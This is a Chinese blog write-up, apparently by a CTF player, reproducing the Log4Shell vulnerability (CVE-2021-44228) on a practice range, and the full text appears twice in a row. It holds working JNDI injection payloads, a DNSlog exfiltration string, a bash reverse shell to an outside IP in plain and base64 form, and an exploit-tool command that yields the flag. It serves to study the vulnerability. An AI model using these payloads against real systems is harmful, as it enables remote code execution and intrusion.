log4j2漏洞复现(cve-2021-44228)
在nctf2023的签到题logging中出现这个漏洞,赛后看着官方WP仍然懵逼,不懂其中原理,于是深入学习这个漏洞
关于log4j2
log4j是Apache的一个开源项目,log4j2是一个Java的日志记录工具,可以控制日志信息的输送的目的地为控制台,文件,GUI组件等,
其中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可以在目标服务器上执行任意代码
关于JNDI
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是一种标准的Java命名系统接口,提供了统一的客户端API(把相关资源取了一个统一的名字,在根据名字来寻找资源)
通过使用JNDI,Java应用程序可以轻轻访问各种不同类型的命名和目录服务,如文件系统,LDAP(轻量目录访问协议),DNS(域名解析协议)等,而不需要关心底层的细节。
JNDI伪协议
1.LDAP
Lightweight Directory Access Protocol(轻量目录访问协议),约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。可以通过可以通过目录路径查询到对应目录下的对象(文件)等
2.RMI
Remote Method Invocation(远程方法调用),是Java中的一种远程通信协议,用于实现跨网络的对象方法调用
漏洞原理
对JNDI接口lookup查询进行注入,log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中,因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
攻击流程
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
1.假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp}
2.被攻击服务器发现要输出的信息中有 ${},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp
3.解析到ldap,就会去192.168.61.129:1099的ldap服务找名为exp的资源,如果找不到就会去http服务中找,在http中找到exp之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现exp是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害
漏洞复现1.掌控者-Apache Log4j任意代码执行复现
靶场连接:https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd
原本在自己服务器上搭建了vulhub靶场,但一直无法通过dnslog外带出信息,一直以为是自己的问题,纠结了一晚上,后面找到网上也有相关问题,原来是靶场的问题:
进入靶场是一个登录界面
![(https://pic.imgdb.cn/item/65938d07c458853aefe52f4d.jpg)
尝试在输入框JDNI注入尝试dnslog外带
payload:
${jndi:ldap://${sys:java.version}.py6ffx.ceye.io}//外带java的版本信息
外带成功,成功验证漏洞存在
利用JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行反弹shell
payload:
bash -i >& /dev/tcp/175.178.29.101/6688 0>&1
经过base64编码后为
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMTc4LjI5LjEwMS82Njg4IDA+JjE=
工具指令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMTc4LjI5LjEwMS82Njg4IDA+JjE=}|{base64,-d}|{bash,-i}" -A "175.178.29.101"
==注意==:这个工具原理是在自己vps上生成对应java程序利用相关漏洞,省去了自己编写利用漏洞的java程序,其中需要提前放开自己服务器上的1099,1389,8180端口
得到paylaod:
根据外带出的java版本选择对应payload
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://175.178.29.101:1099/1uj4jh
ldap://175.178.29.101:1389/1uj4jh
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://175.178.29.101:1099/t75als
ldap://175.178.29.101:1389/t75als
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://175.178.29.101:1099/ngbfzp
提前在vps上开启对应端口监听(此处对应对应端口为6688)
这里选择paylaod为
${jndi:ldap://175.178.29.101:1389/rr2fhn}
发送即可连上shell
直接cat即可得到对应flag
漏洞复现2.vulhub-log4j
原理步骤相同,贴出关键步骤图片
log4j2漏洞复现(cve-2021-44228)
在nctf2023的签到题logging中出现这个漏洞,赛后看着官方WP仍然懵逼,不懂其中原理,于是深入学习这个漏洞
关于log4j2
log4j是Apache的一个开源项目,log4j2是一个Java的日志记录工具,可以控制日志信息的输送的目的地为控制台,文件,GUI组件等,
其中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可以在目标服务器上执行任意代码
关于JNDI
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是一种标准的Java命名系统接口,提供了统一的客户端API(把相关资源取了一个统一的名字,在根据名字来寻找资源)
通过使用JNDI,Java应用程序可以轻轻访问各种不同类型的命名和目录服务,如文件系统,LDAP(轻量目录访问协议),DNS(域名解析协议)等,而不需要关心底层的细节。
JNDI伪协议
1.LDAP
Lightweight Directory Access Protocol(轻量目录访问协议),约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。可以通过可以通过目录路径查询到对应目录下的对象(文件)等
2.RMI
Remote Method Invocation(远程方法调用),是Java中的一种远程通信协议,用于实现跨网络的对象方法调用
漏洞原理
对JNDI接口lookup查询进行注入,log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中,因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
攻击流程
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
1.假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp}
2.被攻击服务器发现要输出的信息中有 ${},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp
3.解析到ldap,就会去192.168.61.129:1099的ldap服务找名为exp的资源,如果找不到就会去http服务中找,在http中找到exp之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现exp是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害
漏洞复现1.掌控者-Apache Log4j任意代码执行复现
靶场连接:https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd
原本在自己服务器上搭建了vulhub靶场,但一直无法通过dnslog外带出信息,一直以为是自己的问题,纠结了一晚上,后面找到网上也有相关问题,原来是靶场的问题:
进入靶场是一个登录界面
![(https://pic.imgdb.cn/item/65938d07c458853aefe52f4d.jpg)
尝试在输入框JDNI注入尝试dnslog外带
payload:
${jndi:ldap://${sys:java.version}.py6ffx.ceye.io}//外带java的版本信息
外带成功,成功验证漏洞存在
利用JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行反弹shell
payload:
bash -i >& /dev/tcp/175.178.29.101/6688 0>&1
经过base64编码后为
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMTc4LjI5LjEwMS82Njg4IDA+JjE=
工具指令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMTc4LjI5LjEwMS82Njg4IDA+JjE=}|{base64,-d}|{bash,-i}" -A "175.178.29.101"
==注意==:这个工具原理是在自己vps上生成对应java程序利用相关漏洞,省去了自己编写利用漏洞的java程序,其中需要提前放开自己服务器上的1099,1389,8180端口
得到paylaod:
根据外带出的java版本选择对应payload
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://175.178.29.101:1099/1uj4jh
ldap://175.178.29.101:1389/1uj4jh
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://175.178.29.101:1099/t75als
ldap://175.178.29.101:1389/t75als
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://175.178.29.101:1099/ngbfzp
提前在vps上开启对应端口监听(此处对应对应端口为6688)
这里选择paylaod为
${jndi:ldap://175.178.29.101:1389/rr2fhn}
发送即可连上shell
直接cat即可得到对应flag
漏洞复现2.vulhub-log4j
原理步骤相同,贴出关键步骤图片